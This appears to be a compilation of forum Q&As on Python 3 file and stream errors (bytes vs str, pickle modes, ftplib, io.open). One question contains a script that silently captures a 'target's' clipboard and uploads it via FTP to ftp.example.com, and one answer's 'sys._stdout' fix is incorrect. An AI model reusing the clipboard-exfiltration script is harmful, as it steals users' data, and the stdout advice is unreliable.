I am trying to calculate an md5 hash of a file from stdin using Python 3
Here is the error message returned. I can't see why it doesn't return the md5 hash. Any help appreciated.
$./pymd5.py < tmp.pdf
Traceback (most recent call last):
File "./pymd5.py", line 29, in <module>
main()
File "./pymd5.py", line 25, in main
print(m.hexdigest())
TypeError: 'str' does not support the buffer interface
$
The code:
#!/usr/local/bin/python3.2
import sys
import hashlib
BUFSIZE = 4096
def make_streams_binary():
sys.stdin = sys.stdin.detach()
sys.stdout = sys.stdout.detach()
def main():
make_streams_binary()
m = hashlib.md5()
while True:
data = sys.stdin.read(BUFSIZE)
if not data:
break
m.update(data)
print(m.hexdigest())
if __name__ == "__main__":
main()
When you do
sys.stdout = sys.stdout.detach()
It removes the ability to print normally at the terminal on Python 3, because you get a buffer instead of one wrapped for encoding and decoding. Before you print, you should do:
sys.stdout = sys._stdout
To get the original stdout back.
Related
I'm using python3.3 and I'm having a cryptic error when trying to pickle a simple dictionary.
Here is the code:
import os
import pickle
from pickle import *
os.chdir('c:/Python26/progfiles/')
def storvars(vdict):
f = open('varstor.txt','w')
pickle.dump(vdict,f,)
f.close()
return
mydict = {'name':'john','gender':'male','age':'45'}
storvars(mydict)
and I get:
Traceback (most recent call last):
File "C:/Python26/test18.py", line 31, in <module>
storvars(mydict)
File "C:/Python26/test18.py", line 14, in storvars
pickle.dump(vdict,f,)
TypeError: must be str, not bytes
The output file needs to be opened in binary mode:
f = open('varstor.txt','w')
needs to be:
f = open('varstor.txt','wb')
Just had same issue. In Python 3, Binary modes 'wb', 'rb' must be specified whereas in Python 2x, they are not needed. When you follow tutorials that are based on Python 2x, that's why you are here.
import pickle
class MyUser(object):
def __init__(self,name):
self.name = name
user = MyUser('Peter')
print("Before serialization: ")
print(user.name)
print("------------")
serialized = pickle.dumps(user)
filename = 'serialized.native'
with open(filename,'wb') as file_object:
file_object.write(serialized)
with open(filename,'rb') as file_object:
raw_data = file_object.read()
deserialized = pickle.loads(raw_data)
print("Loading from serialized file: ")
user2 = deserialized
print(user2.name)
print("------------")
pickle uses a binary protocol, hence only accepts binary files. As the document said in the first sentence, "The pickle module implements binary protocols for serializing and de-serializing".
I have this Python Script
import os
import random
import ftplib
from tkinter import Tk
# now, we will grab all Windows clipboard data, and put to var
clipboard = Tk().clipboard_get()
# print(clipboard)
# this feature will only work if a string is in the clipboard. not files.
# so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something
# then it would come back an error, and the rest of the script would come back false (therefore shutdown)
random_num = random.randrange(100, 1000, 2)
random_num_2 = random.randrange(1, 9999, 5)
filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt"
file = open(filename, 'w') # clears file, or create if not exist
file.write(clipboard) # write all contents of var "foo" to file
file.close() # close file after printing
# let's send this file over ftp
session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password')
session.cwd('//logs//') # move to correct directory
f = open(filename, 'r')
session.storbinary('STOR ' + filename, f)
f.close()
session.quit()
The file will send the contents created by the Python script (under variable "filename" eg: "capture_clip5704061.txt") to my FTP Server, though the contents of the file on the local system do not equal the file on the FTP server. As you can see, I use the ftplib module. Here is my error:
Traceback (most recent call last):
File "script.py", line 33, in<module>
session.storbinary('STOR ' + filename, f)
File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary
conn.sendall(buf)
TypeError: a bytes-like object is required, not 'str'
Your library expects the file to be open in binary mode, it appears. Try the following:
f = open(filename, 'rb')
This ensures that the data read from the file is a bytes object rather than str (for text).
I'm getting the following error when attempting to open a new file with today's date.
Traceback (most recent call last):
File "C:\BenPi\stacking\pi3\red_RTS\iotest.py", line 6, in <module>
f = io.open('%s',today, 'w')
TypeError: an integer is required
Here is my code
import datetime
import io
import os
today = datetime.date.today().strftime('%m_%d_%Y')
print (today)
f = io.open('%s',today, 'w')
f.write('first line \n')
f.write('second line \n')
f.close()
It is my understanding that this is an issue that arises when someone inadvertently uses os.open() instead of io.open(), which is why I specified the io option. It should be noted that the same error comes up regardless if I import the os module.
I'm using python 3.2.5
Thoughts?
You're not formatting correctly, you're using , instead of %:
f = io.open('%s'%today, 'w')
Besides, you can just do:
f = io.open(today, 'w')
The line
f = io.open('%s',today, 'w')
should have '%s' first argument the first argument must be the file name.
If you write it like:
f = io.open(today, 'w')
Just works. Also consider using the "with" statment so in case of an exception the stream will be close anyway such as:
with io.open(today, 'w') as f:
f.write("hello world")
I hope I have been helpful.
I have a program that reads data from cli sys.argv[] and then writes it to a file.
I would like to also display the output to the buffer.
The manual says to use getvalue(), all I get are errors.
Python3 manual
import io
import sys
label = sys.argv[1]
domain = sys.argv[2]
ipv4 = sys.argv[3]
ipv6 = sys.argv[4]
fd = open( domain+".external", 'w+')
fd.write(label+"."+domain+". IN AAAA "+ipv6+"\n")
output = io.StringIO()
output.write('First line.\n')
print('Second line.', file=output)
# Retrieve file contents -- this will be
# 'First line.\nSecond line.\n'
contents = output.getvalue()
# Close object and discard memory buffer --
# .getvalue() will now raise an exception.
output.close()
print(fd)
fd.getvalue()
error:
# python3.4 makecustdomain.py bubba domain.com 1.2.3.4 '2001::1'
<_io.TextIOWrapper name='domain.com.external' mode='w' encoding='US-ASCII'>
Traceback (most recent call last):
File "makecustdomain.py", line 84, in <module>
fd.getvalue()
AttributeError: '_io.TextIOWrapper' object has no attribute 'getvalue
How do I output the data from io stream write function data to buffer as well as to file?
You use open() to open the file, so it isn't a StringIO object, but a file-like object. To get the contents of the file after you write to it you can open the file with mode = 'w+', and instead of fd.getvalue(), do:
fd.seek(0)
var = fd.read()
This will put the contents of the file into var. This will also put you at the beginning of the file, though, so be carefully doing further writes.
I am new to python and I have a question about a piece of python code that creates a cleaned up output file from a model output file. This code was written for a Mac user, but now I want to run it in Windows. But it gives an error message. Could you help me in converting this code so I can use it in Windows? Thanks.
import sys
if len(sys.argv) > 1:
fileName = sys.argv[1]
else:
print "selected_um_b.out" #insert file name here
sys.exit()
f = open(fileName)
counter = 0
fw = open(fileName+".cleaned", 'w')
for line in f:
line = line.strip()
counter = counter + 1
if counter <= 4:
fw.write(line+"\n");
continue
values = line.split("\t")
if (values[4].strip() == "-99" or values[5].strip() == "0"): continue
fw.write("\t".join(values)+"\n")
f.close()
Update
The error message is:
Traceback (most recent call last): File
"C:\trial_batch\clean_output.py", line 7, in sys.exit()
SystemExit
The program expects a filename on the command line when you execute it. It appears you did not provide one, so the program exited (the sys.exit() call terminates the program).
How are you trying to use it? If you just want to convert one file, put the file and the Python script into the same directory. Replace lines 3 through 7 with filename = "yourfilename.typ" (do not indent the line); it will read the file ("yourfilename.typ" in my example) and write an output file with 'cleaned' in the filename.